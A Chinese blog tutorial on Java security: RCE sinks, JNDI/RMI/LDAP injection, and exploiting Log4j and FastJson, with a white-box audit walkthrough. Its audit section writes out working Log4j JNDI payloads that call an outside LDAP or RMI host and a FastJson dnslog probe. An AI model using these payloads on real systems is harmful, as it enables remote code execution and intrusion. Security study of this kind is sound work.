首页 > 编程语言 >【第67课】Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

【第67课】Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

时间:2024-08-20 10:54:29浏览次数:14  
标签:Java JNDI 漏洞 版本 LDAP RCE RMI

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

#知识点:
1、Java安全-RCE执行-5大类函数调用
2、Java安全-JNDI注入-RMI&LDAP&高版本
3、Java安全-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

一、演示案例-Java安全-RCE执行-5大类函数调用

1、GroovyExec

在这里插入图片描述
在这里插入图片描述

2、RuntimeExec

在这里插入图片描述
在这里插入图片描述

3、ProcessImpl

在这里插入图片描述
在这里插入图片描述

4、ProcessBuilder

在这里插入图片描述
在这里插入图片描述

5、ScriptEngineManager

检测:

黑盒看参数名和参数值

在这里插入图片描述

白盒看类函数名和可控变量(大部分白盒)

二、演示案例-Java安全-JNDI注入(RCE)-RMI&LDAP&高版本

介绍

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

在这里插入图片描述

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

检测:
无黑盒思路
白盒看类函数名和可控变量

靶场演示

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
jndi本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

JDNI注入安全问题(导致RCE)

JDNI注入利用条件

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
但是有一种情况就是对方使用了高版本的jdk,然后该工具全部的payload都不行怎么办?

高版本绕过:
浅析高低版JDK下的JNDI注入及绕过 [ Mi1k7ea ]
如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX
可以参考这两个文章,不过都是需要从代码去分析调试跟踪,是有一定门槛的。

三、演示案例-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

1、Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:阿里云漏洞库
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了。
在这里插入图片描述

2、Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:阿里云漏洞库
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:阿里云漏洞库
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

历史漏洞:阿里云漏洞库

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、XStream

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:阿里云漏洞库
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、演示案例-白盒审计不安全组件漏洞

FastJson审计

1、源码搭建

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、看引用组件版本及代码实现

漏洞函数

JSON.parse()
JSON.parseObject()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
在这里插入图片描述

3、找可控变量及访问实现
admin/product propertyJson

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

在这里插入图片描述

Log4j审计

1、看引用组件版本及实现

漏洞函数

logger.info 
logger.error

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName

在这里插入图片描述
在这里插入图片描述
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run}

在这里插入图片描述
在这里插入图片描述

${jndi:rmi://47.94.236.117:1099/xxxx}

在这里插入图片描述
一个一个试(因为不知道源码项目用的什么java版本运行)
在这里插入图片描述

不回显常见判断通用方法:

1、直接将命令执行结果写入到静态资源文件里,如html、js等,然后访问。存在这个文件不就说明命令执行能够执行了。
2、通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。

标签:Java,JNDI,漏洞,版本,LDAP,RCE,RMI
From: https://blog.csdn.net/Lucker_YYY/article/details/141352280

相关文章

  • 【第68课】Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
    免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。文中所涉......
  • 在java中实现使用文件名称和文件路径从一个服务器保存文件到另一个服务器
    要在Java中实现从一个服务器下载文件并将其保存到另一个服务器的功能,你可以采用以下步骤:从源服务器下载文件。将文件保存到目标服务器。这里我们将使用Java的HttpURLConnection来处理HTTP请求,并使用FTP协议通过JSch或ApacheCommonsNet库将文件上传到另一台服务器。首先,你需......
  • Java单例模式
    定义单例模式(SingletonPattern)是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点来访问该实例。这种模式的核心在于控制类的实例化过程,保证在任何时间点,一个类只有一个实例存在,并且这个实例可以被系统的所有其他部分通过一个公共的访问点访问。1、唯一实例:单......
  • 深入理解Java虚拟机(类加载机制)
    文章收录在网站:http://hardyfish.top/文章收录在网站:http://hardyfish.top/文章收录在网站:http://hardyfish.top/文章收录在网站:http://hardyfish.top/类加载机制类加载机制的过程是什么呢?JVM把描述类的数据从Class文件中加载到内存中,并对其进行校验,解析,初始化......
  • Java计算机毕业设计的学生宿舍管理系统(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景:随着高等教育规模的不断扩大,学生宿舍作为学生日常生活与学习的重要场所,其管理水平直接关系到学生的生活质量与校园安全。传统的学生宿舍管理方式往往......
  • java计算机毕业设计中华美食菜谱系统设计与实现(开题+程序+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在中华大地,美食文化源远流长,博大精深,每一道菜肴都蕴含着丰富的历史底蕴与地方特色。随着信息技术的飞速发展,人们获取信息的方式日益多样化,但如何在浩......
  • java计算机毕业设计校园招聘管理系统(开题+程序+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着高等教育的普及与就业市场的日益竞争激烈,校园招聘已成为连接企业与高校人才的重要桥梁。然而,传统的校园招聘模式往往面临着信息不对称、流程繁琐......
  • java计算机毕业设计疫情期间的物业管理系统(开题+程序+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在新冠疫情全球蔓延的背景下,社区作为疫情防控的第一线,其管理水平与效率直接关系到居民的健康安全与社会的稳定。传统物业管理方式在面对突发公共卫生......
  • Java格式化
    //格式化输出publicclassMain{publicstaticvoidmain(String[]args){doubled=3.1415926;System.out.printf("%.2f\n",d);//显示两位小数3.14System.out.printf("%.4f\n",d);//显示4位小数3.1416}}Java的格式化功能......
  • java计算机毕业设计校园闲置交易平台(开题+程序+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景:随着高等教育的普及与校园生活的日益丰富,大学生群体中的物品更新换代速度加快,大量闲置物品如书籍、电子产品、生活用品等随之产生。这些物品往往处于......